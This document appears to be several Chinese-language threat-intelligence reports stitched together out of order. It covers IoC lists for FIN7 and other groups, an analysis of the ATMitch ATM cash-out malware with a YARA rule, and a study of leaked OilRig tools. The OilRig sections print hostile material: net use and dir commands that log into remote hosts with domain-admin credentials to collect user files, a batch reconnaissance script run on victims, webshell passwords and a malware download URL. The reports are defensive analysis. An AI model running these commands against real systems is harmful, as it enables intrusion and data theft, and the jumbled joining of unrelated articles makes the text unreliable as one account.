上述所有组织都从未及时安装补丁的企业环境中获得了巨大的好处,因此,继续通过一些众所周知的MS Office漏洞、利用使用鱼叉式钓鱼攻击对他们来说是可行的。到目前为止,这些组织还没有利用过0 day漏洞。

FIN7 / Cobalt网络钓鱼文档可能看起来很简单,但用到了点上也能造成巨大的破坏影响,我们相信他们会继续创造一些掩人耳目的新手段来牟利。

IoC

AveMaria

· 185.61.138.249

· tain.warzonedns[.]com

· noreply377.ddns[.]net

· 185.162.131.97

· 91.192.100.62

· server.mtcc[.]me

· doddyfire.dyndns[.]org

· 212.8.240.116

· 168.167.45.162

· toekie.ddns[.]net

· warmaha.warzonedns[.]com

CopyPaste

· digi-cert[.]org

· somtelnetworks[.]com

· geotrusts[.]com

· secureclientupdate[.]com

· digicertweb[.]com

· sport-pesa[.]org

· itaxkenya[.]com

· businessdailyafrica[.]net

· infotrak-research[.]com

· nairobiwired[.]com

· k-24tv[.]com

FIN7/GRIFFON

· hpservice-cdn[.]com

· realtek-cdn[.]com

· logitech-cdn[.]com

· pci-cdn[.]com

· appleservice-cdn[.]com

· servicebing-cdn[.]com

· cisco-cdn[.]com

· facebook77-cdn[.]com

· yahooservices-cdn[.]com

· globaltech-cdn[.]com

· infosys-cdn[.]com

· google-services-s5[.]com

· instagram-cdn[.]com

· mse-cdn[.]com

· akamaiservice-cdn[.]com

· booking-cdn[.]com

· live-cdn2[.]com

· cloudflare-cdn-r5[.]com

· cdnj-cloudflare[.]com

· bing-cdn[.]com

· servicebing-cdn[.]com

· cdn-yahooapi[.]com

· cdn-googleapi[.]com

· googl-analytic[.]com

· mse-cdn[.]com

· tw32-cdn[.]com

· gmail-cdn3[.]com

· digicert-cdn[.]com

· vmware-cdn[.]com

· exchange-cdn[.]com

· cdn-skype[.]com

· windowsupdatemicrosoft[.]com

· msdn-cdn[.]com

· testing-cdn[.]com

· msdn-update[.]com

EmpireMonkey/CobaltGoblin

· (entity)-corporate[.]com

· (entity)-cert[.]com

· (entity)-no[.]org

· (entity)-fr[.]org

· (entity)-acquisition[.]org

· (entity)-trust[.]org

· riscomponents[.]pw

· nlscdn[.]com

简介

4月第一天,yoroi安全实验室检测到了一个新的恶意软件样本。初步鉴定结果显示,它可能与两年前俄罗斯某家银行遭黑客袭击事件相关,卡巴斯基实验室曾对此做过记录,此次事件的幕后黑手是某一APT组织,攻击者利用了一种名为ATMitch的特定恶意软件工具,在大范围的企业网络入侵后,手动安装在目标银行的ATM机上,进而操纵ATM机的取款过程。该恶意软件可能自2017年起便一直活跃在野外。

技术分析

可执行样本是名为“tester.exe”的PE32 x86文件。它似乎是用于加载恶意payload的自定义加载器,payload能够控制目标机器。

t1.jpg

表1:关于ATMitch的Dropper / Loader的信息

静态数据显示,该样本是2017年10月8日完成编译的,比卡巴斯基披露ATMitch攻击行动晚了几个月。虽然日期有被篡改的可能,但其他静态细节表明,日期更有可能是真实的。

1.PNG

图1:payload作为加载器的资源

可执行文件启动后,会在“C:\ intel”上创建一个新文件夹,然后开始检查所有正在运行的进程,并找寻一个非常特殊的进程——“fwmain32.exe”。“fwmain32”是德国德利多富公司(Wincor Nixdorf International GmbH)提供的软件服务中的一个进程,而德利多富正是提供零售和银行硬件(如ATM)的主要供应商之一。

2.PNG

图2:恶意软件对“fwmain32.exe”进程的研究

一旦找到“fwmain32.exe”进程,加载器会将实际payload注入到自身内存中,存储在加载器资源部分中的payload DLL将使用“SetThreadContext”注入技术(线程劫持)植入目标进程之中,进而感染“fwmain32.exe”。

3.png

图3:完整的线程劫持流程

上图显示了OpenThread和SuspendThread函数的调用过程,这两个函数用于暂停当前执行。 在目标进程中分配正确的内存量后,它使用WriteProcessMemory函数写入shellcode目标内存空间,并使用SetThreadContext设置新的进程上下文,最后通过ResumeThread函数,payload能够启动其恶意执行。

当加载程序成功将payload注入“fwmain”进程时,会显示一个弹出窗口,报告注入阶段的结果。

4.PNG

图4:提示注入阶段结果的弹出窗口

ATMitch Payload

t2.jpg

表2:Payload相关信息

注入的DLL有一个非常典型的依赖关系:它需要“msxfs.dll”才能执行后续操作,“msxfs.dll”库能提供对EXtension for Financial Service(XFS)API的访问,而XFS API是与PIN键盘和自动提款机等AMT组件交互所需的通信接口,只存在于特殊用途的Windows环境中,比如Wincor。

5.PNG

图5:“msxfs.dll”,恶意软件与ATM设备通信所需的库

恶意软件的执行流程并不复杂:它从“c:\ intel”文件夹的文件中读取命令,并与ATM驱动程序进行交互,以便检索有关当前金额的信息并在适当的时间分出资金。下图展示了一个与PinPad和Dispenser(自动提款机)等ATM组件进行通信的函数。

6.png

图6:PinPad和Dispenser组件

使用“msxfs.dll”库提供的函数,恶意软件可以轻松地与这些组件进行交互。例如WFSExecute函数可以将下列命令发送到提款机,如OPEN_SHUTTER或OPEN_SAFE_DOOR。

 7.png

图7:ATM接收的部分命令

在特定情况下,恶意软件使用该函数通过命令WFS_CMD_CDM_DISPENSE流出资金,如图所示:

 8.PNG

图8:恶意软件用于分配资金的命令“WFS_CMD_CDM_DISPENSE”

恶意软件的核心是以下交换机结构:在从特定文件读取新命令之后,它将命令代码与嵌入的命令代码进行比较,例如用于检索信息的“代码2”或用于分配资金的“代码7”。

 9.PNG

图9:恶意软件的交换机结构

此外,恶意软件还具有结构良好的日志记录系统:所有操作都被跟踪并记录到“c:\intel\__log.txt”中。对于需要记录的操作,它可以设置特定的日志记录级别(FATAL,ERROR,DEBUG等)。

 10.PNG

图10:恶意软件日志记录系统的日志级别

结论

我们猜测该ATMitch样本可能是Carbanak或GCMAN组织所为。执行流程如下:攻击者在隔离的主机中手动安装,直接将命令写入目标机器,而不需要任何命令和控制流量;接着通过Remote Desktop连接到目标机器,第一阶段正确执行后还会显示图4所示的提示窗口,之后攻击流程我们推测如下:

1.攻击者使用Remote Desktop连接到ATM机;

2.攻击者转移加载器可执行文件并运行:提示窗口显示一切进展顺利后执行后续步骤;

3.攻击者删除初始文件以抹去痕迹;

4.攻击者在适当的文件中写入命令;

5.恶意软件执行新命令并写入日志文件;

6.攻击者检查日志文件以了解命令执行的状态。

因此,这种恶意软件的最终存在可能只是APT组织实施的更复杂、更明确的攻击前的冰山一角。

IoC

Hashes

· bf9c35d8f33e2651d619fe22a2d55372dedd0855451d32f952ecfc73fa824092

· e372631f96face11e803e812d9a77a25d0a81fa41e4ac362dc8aee5c8a021000

Yara Rules

import "pe"
rule ATMitch {
meta:
     description = "Yara Rule for ATMitch Dropper/Payload"
     author = "ZLAB Yoroi - Cybaze"
     last_updated = "2019-05-03"
     tlp = "white"
     category = "informational"
 
   strings:
       $str1 = {4A 75 E6 8B C7 8B 4D FC}
      $str2 = {EC 53 8D 4D DC 88}
       $str3 = "MSXFS.dll"
       $str4 = "DISPENSE"
      $str5 = "PinPad"
       $str6 = "cash"
       $str7 = {40 59 41 50 41 58 49 40 5A}
       $str8 = "WFMFreeBuffer"
 
condition:
    pe.number_of_sections == 4 and pe.number_of_resources == 3 and $str1 and $str2 or $str3 and $str4 and $str5 and $str6 and $str7 and $str8
}

接上文

Webshells

Webshell用于与受感染服务器交互。泄露数据中包含了三个webshell,分别为HyperShell、HighShell和Minion,Minion很可能是HighShell的一个变体,在代码、文件名和功能上都有重叠。HyperShell和HighShell则是TwoFace的变体,其中HyperShell与TwoFace的加载器相关,HighShell与TwoFace的payload相关,这点我们在2017年7月也有记载。除了OilRig使用的Webshell外,泄露数据中还有一个Webshell部署列表。如图8所示,列出了超过100个Webshell的链接,覆盖了四大洲26个国家的87个组织。

8.png

图8.受影响组织的Webshell的地理位置

Hypershell

HyperShell(SHA256:e483eee77fcc5ef11d5bf33a4179312753b62ec9a247dd14528cc797e7632d99)与的TwoFace加载器的3DES变体(我们也叫它TwoFace++)有关,我们曾在2017年7月报道过。

我们曾用强制技术来提取TwoFace加载器嵌入式payload,但同样的方法在TwoFace ++加载器上行不通。

TwoFace加载器样本需要密钥来解密嵌入的webshell,密钥是通过简单的算术运算符(大多是“+”或“ – ”)和webshell中的盐字符串进行修改的,所以使用简单的算术运算符就能解密,逆运算来强制提取密钥,进而提取嵌入式webshell。

而TwoFace ++加载器则使用3DES密码和攻击者提供的字符串的SHA256哈希并用作密钥,因此我们无法提取嵌入式webshell。但是,转储数据中的提供了HyperShell的重要信息。与许多TwoFace加载器样本一样,HyperShell样本在HTML标记<pre>和</pre>中包含一个字符串,如果未提供密码,和/或TwoFace ++加载程序无法提取嵌入的webshell,则会在浏览器中显示该字符串。HyperShell样本中的pre标签是:

<pre><%= Server.HtmlEncode(“NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a”) %></pre>

图9显示了HyperShell在浏览器中“pre”标签内容。

9.png

图9.HyperShell在<pre>标签内显示密码

我们认为,pre标签中的字符串正是攻击者提供的密码,webshell将其作为密钥来加密嵌入的payload,这一点可通过下列过程来验证:

· 密码上附加一个充当盐的字符串

· 获取包含密码和盐的结合字符串的SHA1哈希值

· 对SHA1哈希进行Base64编码

· 将Base64编码后的哈希与硬编码的base64字符串进行比较

· 如果匹配,则对入站请求进行身份验证

· 生成密码字符串的SHA256哈希值

· Base64对SHA256哈希进行编码,并使用前24个字符作为密钥

· 使用24个字符的密钥和3DES密码来解密嵌入的webshell

现在让我们看看攻击者提供的密码如何与TwoFace ++加载器样本中的值一起使用。样本中,攻击者使用的密码为“NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a”,并附加了硬编码盐字符串“aqB2nU65TgFoEfdVqiAddBQLInc9”,两者结合的字符串为“NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7aaqB2nU65TgFoEfdVqiAddBQLInc9”,SHA1哈希为“9d3ff106fbc3508b8453c7d6f285543d0b9c2721”,base64编码后为“nT/xBvvDUIuEU8fW8oVUPQucJyE=”。而样本中base64硬编码后的密码是“NT / xBvvDUIuEU8fW8oVUPQucJyE =”,这也就能证明我们上面的观点。

经过身份验证后,TwoFace ++加载程序使用密码来解密嵌入式webshell。要使用密码作为密钥进行3DES解密,TwoFace ++会生成密码“NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a ”的SHA256,哈希为“11f66b55f3d24303621e5ef9565b02a576cc58bc5f8789cae96c3d400064b90e”,接着对哈希进行base64编码,产生的字符串为“EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4 =”,其中前24个字符被用作3DES密钥,并解密webshell (SHA256: d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619) 。此webshell似乎也是HighShell(版本v5.0)的变种。

我们将HighShell的v5.0版本与TwoFace的payload(SHA256:54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f)进行了比较。如图10所示,基本是一致的,但HighShell有两个不一样的地方,右上角的版本号“v5.0”和左下角用于显示错误消息和命令结果的三个小框。

10-1.jpg

10-2.jpg

图10.HighShell v5.0和TwoFace payload之间差异性

接着我们对两个webshell的代码进行了分析。这两个webshell大部分代码相同,差异在于变量和函数名称上略有不同。最显着的区别是HighShell v5.0 webshell包含一个盐值“di2zag7wZHTK9YR0NGq”,它应用于身份验证的密码。图11左侧显示了TwoFace的payload(SHA256:54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f),右侧则是HighShell v5.0(SHA256:d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619),而同样的盐在左侧的TwoFace代码中就没有。

t4.jpg

图11. HighShell v5.0和TwoFace payload之间的比较

我们认为TwoFace的 payload是HighShell v5.0 webshell的前身,后者是OilRig在其整个运营过程中创建的。

HighShell

转储数据还包括一个名为HighShell的webshell,它由HyperShell植入,如上一节所述。转储数据中包含了许多不同的HighShell样本,我们已经确定了至少三个不同的版本,如表4所示。不断增加的版本数量表明OilRig在持续不断开发HighShell。

t4.jpg

表4.能确定的三个HighShell webshell版本

但HighShell的版本不是实时更新的。例如在前一节中从HyperShell中提取的HighShell webshell(SHA256:d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619)显示版本号为“v5.0”,这明显不同于图12中所见的文件名为error4.aspx的“v5.0”HighShell。

12.png

图12.带有新配色方案和资源管理器选项卡的HighShell v5.0

图12显示的是第二个HighShell v5.0样本,其用户界面使用了不同的配色方案,但大部分功能与从HyperShell中提取的其他v5.0样本相同。 这个HighShell v5.0变体的有趣的变化是引入了一个包含主选项卡和资源管理器选项卡的表格界面。主选项卡含有与TwoFace payload和其他v5.0 HighShell样本相同的功能。explorer选项卡(如图13所示)能让攻击者调查受感染服务器的文件系统。

13.png

图13. HighShell v5.0资源管理器选项卡

转储数据中的HighShell v7.1变体包含了之前版本中类似的功能,也有表格方法,但进一步拆分了选项卡的主要功能,拆成了 “Command”, “Explorer”, “Upload”, “Download”, “Sql Server”和“Change Time”。图14显示的是HighShell v7.1。

14.png

图14. HighShell v7.1

转储数据中还包括了一个名为ShellLocal-v8.8.5.rar的存档,其中包含另一个HighShell变体。 存档名称表明HighShell变体版本为v8.8.5,但是用户界面显示是版本8.6.2,如图15所示.看上去OilRig重新构建了这个webshell,前端用户界面通过AJAX Web请求与后端脚本交互。 除了体系结构的变化之外,此版本的HighShell界面上也做了个改进。

15.png

图15.HighShell v8.6.2

而HighShell8.6.2版本除了之前版本的重要功能外,还添加了一些新功能,比如几个可执行模块、网络下载器功能和间谍检查功能。

模块

HighShell 8.6.2包括webshell附带的几个模块的功能。这些模块是PE可执行文件,进一步扩展了webshell的功能,如表5所示。webshell使用7za模块从explorer选项卡处存档文件,而nbtscan模块允许webshell扫描网络以便系统构建可与之交互的系统的IP列表。我们无法确定webshell如何使用远程执行模块,因为webshell实际上似乎并没有使用它。

t5.jpg

表5. HighShell v8.6.2附带的模块

间谍检查

间谍检查功能显示在webshell的右上角,是一个带有倒计时器的模块。计时器从300开始并每秒递减,表明webshell每五分钟就执行一次间谍检查功能。我们不知道间谍检查功能的确切目的。我们推测该功能的目的是,如果该webshell已被第三方检测和修改,则通知攻击者避免使用该webshell。

这可能是为以后准备的功能,因为间谍检查功能首先读取HighShell前端的.aspx文件(在本例中为HighShellLocal.aspx),然后生成HighShell前端的SHA256哈希值,并将其与f35e566e28be5b3257670be6e125eb90814b9cb27df997090cea0b7a22fbd75c的硬编码SHA256进行比较,以确定是否已修改了webshell。如果哈希不匹配,则webshell将显示带有间谍图标的红色框,如图15所示,或者如果匹配则显示带有心形图标的绿色框。所有已知样本都显示带有间谍图标的红色框,表明HighShell的开发人员在开发过程中没有更新此功能,或者样本已经以某种方式进行了修改。

网络下载器

Network Downloader功能允许攻击者从远程受损系统上快速上传用户文件。要使用此功能,攻击者须在webshell的“Target Computer”中提供信息,比如网络管理员用户名和密码,并在“Select Computer”下拉列表中添加的远程系统的IP地址列表。在执行网络下载之前,webshell会检查服务器的存储卷,以确定它是否具有超过30 GB的可用空间。如果服务器的可用空间少于30 GB,则webshell将不执行活动,这表示webshell的开发人员需要从受害者网络下载大量数据。webshell将遍历IP列表并为每个IP执行一系列命令,通过使用以下命令连接到远程系统:

net use [IP address] /user:[domain admin username] [domain admin password] 2>&1

使用net use连接到远程系统后,webshell将运行以下命令以获取用户文件夹列表:

dir /b [IP address]\c$\Users 2>&1

通过用户文件夹列表,webshell将遍历用户列表并枚举以下文件夹中的所有文件:

[IP address]\c$\Users\[username]\Desktop
 
[IP address]\c$\Users\[username]\Documents
 
[IP address]\c$\Users\[username]\Downloads

Network Downloader功能将收集这些文件夹中的所有文件,并使用7-Zip压缩和存档文件。 webshell将本地存档存档到C:\ Users \ Public \ Libraries \ Recorded \ Files文件夹中的服务器,每个文件夹都具有以下结构的文件名:

[IP address]_c$_Users_[username]__[Desktop-Documents-Downloads]_[year]-[month]-[day]-[hours]-[minutes]-[seconds].7z

攻击者可能会使用此功能快速检查网络上用户创建的新文件。

Minion

Minion似乎是另一个与HighShell相关的webshell,因为它包含类似的功能,重要的代码也有重叠。要使用Minion,攻击者须在使用webshell之前提供admin用户名和密码进行身份验证。要进行身份验证,字符串“O%tG7Hz57kvWk35$D*)s$1l$pUpLnBw)apHR!xYZWZu7X#^w7$mCArmQMAa&sRBG”会作为盐值加到密码上,接着在生成字符串的SHA256哈希值,对其base64编码后,与硬编码字符串“m6m8CCWa/u820mie8bX3HKIx1+WQkB+lbmniyXWKB+8=”进行比较。密码和盐字符串必须生成“9ba9bc08259afeef36d2689ef1b5f71ca231d7e590901fa56e69e2c9758a07ef ”的SHA256哈希值才能正确进行身份验证。这与HyperShell中进行身份验证/解密的过程完全相同。

Minion与HighShell 8.6.2非常相似,也包含用于扩展webshell功能的模块。表6显示的是Minion附带的模块,其中有三个在HighShell和Minion中都有,包括Hobocopy、一个端口扫描模块,以及名为Tardigrade的截图工具。

t6.jpg

表6. Minion webshell附带的模块

DNS劫持脚本

2018年11月,思科Talos发布了一份名为DNSpionage的攻击活动研究报告,报告中描述了一种专门劫持政府机构DNS条目的行为,目的是将访问者重定向到可能是恶意的系统。FireEye和Crowdstrike都对DNS劫持事件进行了评估,并将行动追溯到2017年1月,但无法对其归因到特定的组织,只是说目标半径集中在中东,也可能在中东之外。

在转储数据中,包含一个名为webmask的工具,该工具似乎是一系列专门用于执行DNS劫持的脚本。guide.txt是一个说明文档,揭示了攻击者如何进行DNS劫持攻击,如图16所示。webmask看起来与FireEye研究结论一致,例如通过代理直通使用ICAP,以及使用certbot创建Let的加密SSL证书。

16.png

图16. guide.txt中的说明,解释如何执行DNS劫持攻击

guide.txt还提供了一个攻击者的IP(185.162.235 [.] 106)。检查显示该IP与名为NovinVPS的伊朗托管服务提供商相关联。IP的自治系统名称显示分配由Serverius Holding B.V.控制,该自治系统名称我们之前在OilRig相关活动中也见到过。检查185.162.235 [.] 0/24的C类IP块显示了我们之前已经确定的OilRig组用于C2服务器的两个其他IP:185.162.235 [.] 29和185.162.235 [.] 121,它们对应的域名为office365-management [.] com和msoffice-cdn [.] com。 Office365-management [.] com是于2017年10月被确定为用于提供ISMInjector后门的OilRig C2服务器。

2018年2月,在另一起传播OopsIE后门的活动中,通过WHOIS注册组件、共享SSL证书和共享的C类IP块我们也可以判断该起活动为同一组织所为。图17显示了与DNS劫持相关文件与OilRig已知基础架构之间的关系。

17.png

图17. DNS劫持文件和OilRig基础架构之间的关系

虽然我们无法肯定地说,OilRig组织完全执行了DNSpionage操作,但根据提供的数据,它们之间还是有较强程度的关系。

屏幕截图

转储数据中包含了几张屏幕截图,包括Glimpse面板的远程桌面(RDP)会话,名为Scarecrow的C2面板的Web浏览器会话,进入VPS管理面板的Web浏览器会话,以及OilRig服务器进行破坏性攻击的证据。

图18中的屏幕截图似乎是一个未知后门的C2面板。唯一提供的名称是Scarecrow,它不是我们之前观察到的或与OilRig相关的名称。服务器托管在142.234.157 [.] 21上,似乎由LeaseWeb托管。如果我们假设文件名与服务器面板的实时快照一致,那么自2019年3月29日以来多个系统都被主动泄密。

18.png

图18.泄漏中提供的屏幕截图显示了Scarecrow面板

图19显示了一个名为Berbid Server的伊朗虚拟主机提供商的管理面板。 没有显示其他基础结构详细信息。

19.png

图19.Berbid Server的管理面板

屏幕截图显示了DeltaHost上VPS帐户的管理面板,其中有四个不同的虚拟服务器,如图20所示。其中一个虚拟服务器托管在IP地址193.111.152 [.] 13并且已经运行了194天 (红框)。

20.png

图20. DeltaHost帐户管理面板的屏幕截图

上图说明,该服务器可能至少自2018年9月16日起运行。2018年9月24日,我们观察到OilRig攻击目标中有人上钩,从以下URL下载Zip存档:

hxxp://193.111.152[.]13/[redacted]-ITsoftwareUpdate.zip

这个Zip存档包含一个名为[redacted] -ITsoftwareUpdate.exe(SHA256:5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336)的文件,它是我们在2018年9月发布的博客中详细描述的OopsIE木马的变种。这表明截图所反映情况属实。此外,面板中列出的其他两个IP,185.161.209 [.] 57和185.161.210 [.] 25同属185.161.208 [.] 0/22的范畴,与DNSpionage活动IP 185.161.211 [.] 72相关联。这个微妙的差异表示,虽然无法百分百确定OilRig就是DNSpionage的背后团体,但也八九不离十。

图21是Glimpse的C2服务器面板的屏幕截图。此截图是通过位于屏幕顶部的选项卡指示的RDP会话。如果我们再次假设文件名中指示的时间的准确性,那么已经远超过71天没有受损系统检入了。

21.png

图21.与运行Glimpse C2的服务器的RDP会话

结论

这份泄漏数据为OilRig幕后行动提供了罕见且不寻常的视角,虽然我们当前无法验证整个数据集的来源,也无法确认数据是否真实,但通过种种比较,为真的可能性还是比较大的。这份数据可能来自OilRig组织内部,也有可能来源于第三方组织。这份数据还显示,OilRig在未来可能不仅将活动限制在中东地区,还有朝全球范围蔓延的趋势。不论任何地区、行业,我们都应始终保持对攻击者及其活动的态势感知,并做好抵御任何攻击的准备。

IoC

域名

Myleftheart[.]com

office365-management[.]com

msoffice-cdn[.]com

Poison Frog PS1 files

27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed

995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999

0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c

IPs

185.36.191[.]31

185.161.209[.]57

185.161.210[.]25

164.132.67[.]216

212.32.226[.]245

142.234.157[.]21

193.111.152[.]13

185.162.235[.]106

185.162.235[.]29

185.162.235[.]121

OopsIE payload

5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336

黑客组织OilRig,也被称作APT34或Helix Kitten,于2016年5月首次出现在公众视野中,自那时起便得到了业内人士的广泛研究。OilRig组织在攻击手段上并不是特别复杂,但在追求其任务目标方面极其执着,而且与其他一些从事间谍活动的APT组织不同,他们更愿意偏离现有的攻击方法,使用新技术来达成自己的目标。在对其长时间地跟踪研究后,我们已经熟知他们攻击执行的具体细节、使用工具,甚至能通过他们对VirusTotal的使用痕迹来推测他们的开发周期。不过,由于能访问的数据有限,我们的分析更多地是从被攻击对象的角度出发,也就往往会被限制在表层。

最近,一份据称与OilRig活动有关的数据转储数据被不知名人士公开,内容囊括了凭据转储、后门、webshell以及其他一些文件。我们发现这份数据确实能与OilRig之前的行动、使用的工具集对得上号。此外,通过这份数据,我们能够追溯我们之前对OilRig的研究,比较结果是否存在差异,并填补研究过程的空白。我们还能确定BONDUPDATER后门及其服务器组件的功能、几个webshell的外观和功能、组织内部对工具的称呼,以及看到OilRig活动在未来蔓延全球的可能性。

OilRig针对的组织机构广泛分布在各行各业,包括政府、媒体、能源、物流以及技术服务供应商。我们总共确定了近13,000个被盗证书,超过100个部署的webshell,以及大约12个后门会话,共计分布在27个国家,97个组织和18个行业的受感染主机中。

泄漏之源

在2019年3月中旬,一个未知团体出现在Twitter和几个黑客论坛上,用户@Mr_L4nnist3r声称他们可以访问OilRig的内部工具和数据的转储数据,贴示公告中含有几张疑似OilRig攻击系统的屏幕截图,一个是用于DNS劫持的脚本,还有一个是名为Glimpse.rar的存档文件,里面据说是OilRig后门的命令和控制服务器面板。不久之后,Twitter用户@dookhtegan也出了一篇公告,声称他们也可以访问OilRig使用的内部工具和数据的转储数据,如图1所示。这篇公告使用了2004年的一张照片,照片上是一位名叫迈赫迪·卡乌西(Mehdy Kavousi)的伊朗避难者,他以缝合自己的眼睛和嘴巴而震动一时。这张照片所涵盖的意思是,拒绝他的避难者申请并将他送回伊朗,无异于将他处死。目前还不清楚选择这幅图像的象征,也许只是作为抗议的表达,账号的来历也未知。

1.png图1. @dookhtegan发布的推文,内容提及OilRig相关文件

之后该账号又继续发布了一系列推文,内容是对OilRig组织的抗议,并将其归咎到了某个国家和组织,我们当前还无法验证这背后的真实性,但美国国家反情报和安全中心在2018年的报告中有记载,OilRig组织与伊朗的关联密不可分。同时该账户的推文中也有能访问转储数据的直链,是匿名共享的。

发布的文件包括Glimpse.rar,还有来自受感染组织的数百个凭据,以及公开登录提示的详细信息,还提供了到webshell、webshell源代码以及另一个后门和它服务器组件的链接,这些链接可能以前就有了,也可能是发布前不久才部署的。

该帐户出现不久被注销了,但又马上出现了一个名为@dookhtegan1的备用帐户,该帐户目前仍处于活动状态。这个帐户会提供以前公开的OilRig组织的消息,但不再有转储数据的链接,而是让那些对数据感兴趣的人通过私人Telegram通道加入共享,如图2所示。

2.png

图2.备用帐户@ dookhtegan1的推文,提供带有泄漏文件的Telegram通道

转储数据内容

转储数据的内容是各种类型的数据集,似乎包含了侦察活动、初始入侵过程以及使用工具,包括:

· 被盗的凭据

· 使用被盗凭证登录的潜在系统

· 部署的webshell URL

· 后门工具

· 后门工具的命令和控制服务器组件

· 用于执行DNS劫持的脚本

· 标识特定个体运营商的文件

· OilRig操作系统的屏幕截图

除含有OilRig组织人员身份信息的文档之外,我们分析了其他每种类型的数据集,它们与之前观察到的OilRig策略,技术和程序(TTP)保持一致。虽然我们无法确认每个文件的真实性,但也没有理由怀疑它们是捏造的。

OilRig跟踪自己各种工具的内部名称如表1所示。

t1.jpg

表1. OilRig数据泄露中暴露的工具,其内部名称对应安全社区使用的名称

凭证数据

转储数据中总共包含近13,000组凭证。这些证书似乎是通过多种技术窃取的,包括使用密码恢复工具MimiKatz或ZhuMimiKatz,或者SQL注入,以及使用一些传统的证书收集工具包。

该转储数据中列出的组织类型分布在多个行业垂直领域,但都主要位于中东地区。我们无法确认所有这些被盗凭证是否都真实,但是根据之前观察到的活动、时间戳和已知行为,这些凭证很可能是真实的,当前仍可能有效。

这也能说明OilRig非常重视基于凭据的攻击,这与大多数间谍组织的动机是一致的,因为一旦通过合法凭证获得访问权限,他们就能够伪装成合法用户,本质上这是一种内部威胁。与使用自定义工具伪装成合法用户的攻击者相比,这种类型的活动更加难以检测。

基于我们过去的研究,OilRig倾向于在初始入侵后立即尝试升级特权,然后横向移动到本地Microsoft Exchange服务器,获取多凭据并植入其他工具,如webshells、IIS后门、Ruler等。Ruler是一个开源渗透测试工具包,能够通过窃取的凭据访问Outlook Web Access(OWA),并滥用内置函数执行各种操作,比如检索全局地址列表,设置恶意电子邮件规则,执行远程代码执行。

OilRig用到了Ruler的Ruler.Homepage功能。该功能滥用了Microsoft Outlook中的一项功能——允许管理员或用户为收件箱中的任何文件夹设置默认主页。使用窃取的凭证,攻击者利用Ruler通过RPC协议向目标组织的OWA实例发送命令,然后远程为受损收件箱的文件夹设置任意主页,之后在主页中植入自动检索和执行恶意代码的命令——在OilRig的情况里是后门命令,可以访问用户正在使用的端点。

后门

转储数据中包含了两个后门,这两个后门我们之前也分析过,称之为BONDUPDATER。一般来说,虽然我们能够检索攻击中涉及的植入程序或payload,但通常对服务器端组件是盲目的。而转储数据中则提供了后门相关的服务器组件,为后门如何运行提供了不同的视角。OilRig内部将后门称为Glimpse和Poison Frog,在功能上是两种不同的工具。

Glimpse

Glimpse,我们最近在4月16日的另一份报告中也提到过这个工具。它使用DNS隧道与其C2通信,重点是用TXT查询从C2服务器接收信息。

表2中列出了Glimpse工具的三个必要组件,转储数据中还有了一个Read me.txt文件,来解释如何设置和使用Glimpse的文件。

t2.jpg

表2. Glimpse工具的三个组件

Read me.txt文件同时备注了Glimpse的版本号为2.2,表明OilRig可能对该组件多次迭代过。

Glimpse面板(版本号“v1.0.5”)是OilRig用来组织安装在受损系统上的各种代理的工具,除了向受影响的端点上传和下载文件外,还允许操作人员远程命令。编译时间显示,Glimpse面板于2018年9月1日创建。图3显示了测试环境中Glimpse面板包含的三个不同代理。

3.png

图3. Glimpse面板显示的三个受损系统

操作人员可在控制面板中选择要交互的代理。代理控制面板有三个选项卡,选项卡具有允许操作人员发出命令,以及向代理程序上载和下载文件的接口。command选项卡将显示以前发出的命令、发出命令的时间以及它们的状态,如图4所示。

4.png

图4. 用于发送命令的接口信息

操作人员可单击命令,在名为“Result Viewer”的弹出窗口中查看结果。图5显示了result viewer窗口,其中显示了发出的命令的结果。

5.png

图5.result viewer显示已发出命令的结果

Glimpse的服务器充当DNS服务器与面板协同工作,DNS服务器是用JavaScript编写的,在Node.js runtime中运行。服务器的文件名为srvr.js,据Read me.txt解释,该文件在Node.js中使用forever start srvr.js运行。图6是Glimpse服务器响应来自Glimpse代理的入站信标并发送命令whoami的示意图,还显示了whoami命令执行后的结果。

6.png

图6. Glimpse服务器向代理发出命令并接收命令的结果

Poison Frog

转储数据中的第二个后门名为Poison Frog(毒蛙),数据集里涵盖了攻击者将在目标系统上安装的代理和与受损系统交互的服务器。FireEye曾在2017年12月时记载过,Poison Frog工具似乎是用于中东攻击的BONDUPDATER的变种。

表3显示了与转储数据中与代理相关的文件,其中Poison Frog的dUpdater.ps1似乎是BONDUPDATER的初始变体,它使用DNS隧道作为其C2通道。有趣的是,这两个Poison Frog代理脚本都配置为使用域myleftheart [.] com作为其C2服务器,我们在之前的任何攻击中都没有看到此域,无法将其与任何已知的OilRig基础架构相关联。

t3.jpg

表3.Poison Frog代理相关文件

与Glimpse C2服务器一样,Poison Frog服务器是用JavaScript编写的,在Node.js中运行。 Poison Frog服务器负责处理hUpdater.ps1和dUpdater.ps1脚本使用的HTTP和DNS隧道通道。根据服务器的代码,它将向新感染的系统发出的默认命令是包含在名为0000000000.bat的文件中的批处理脚本。0000000000.bat在受感染系统上执行时将运行以下命令,来收集要发送回C2服务器的信息:

whoami
hostname
ipconfig /all
net user /domain
net group /domain
net group “domain admins” /domain
net group “Exchange Trusted Subsystem” /domain
net accounts /domain
net user
net localgroup administrators
netstat -an
tasklist
systeminfo
reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”
schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:”
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

